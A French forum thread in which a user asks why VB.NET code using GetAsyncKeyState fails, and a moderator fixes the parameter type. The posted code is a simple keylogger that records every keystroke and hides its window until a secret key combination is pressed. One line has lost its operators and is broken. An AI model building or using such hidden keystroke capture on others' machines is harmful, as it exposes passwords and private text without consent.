GetAsyncKeyState fait des siennes

[Résolu]
Signaler
-
 tictac08 -
Oui encore moi (amoureux du forum que voulez vous )

Voila mon problème aussitôt après l'éxecution :


Et mon code (en parti présenté sur l'image):
Option Strict On
Public Class Form1
    Dim second As Integer = 0
    Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
    
    Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
        Me.Hide()
    End Sub

    Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
        tbLog.Text = "Started at: " & Now & vbNewLine
        timerKeys.Start()
    End Sub

    Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i 13 Then key vbNewLine
                Exit For
            End If
        Next i
        If key = Nothing Then
            Exit Sub
        End If
        If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
            tbLog.Text &= key
        Else : tbLog.Text &= key.ToLower
        End If
        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
            Me.Show()
        End If
        second = second + 1
        Me.Text = second.ToString
    End Sub
End Class

2 réponses

Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
239
Bonjour,
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer

m'étonnerait que ce Long passe en VB.Net !

Va lire ceci, puisque tu choisis de passer par une fonction de l'Api de Windows :
Tapez le texte de l'url ici.

________________________
Réponse exacte ? => "REPONSE ACCEPTEE" facilitera les recherches.
Pas d'aide en ligne installée ? => ne comptez pas sur moi pour simplement répéter son contenu. Je n'interviendrai que si nécessité de la compléter.
Merci, c'est vrai, j'avais pas fait attention a ca . Berf voila ce que j'ai mis :

ByVal vkey As Int32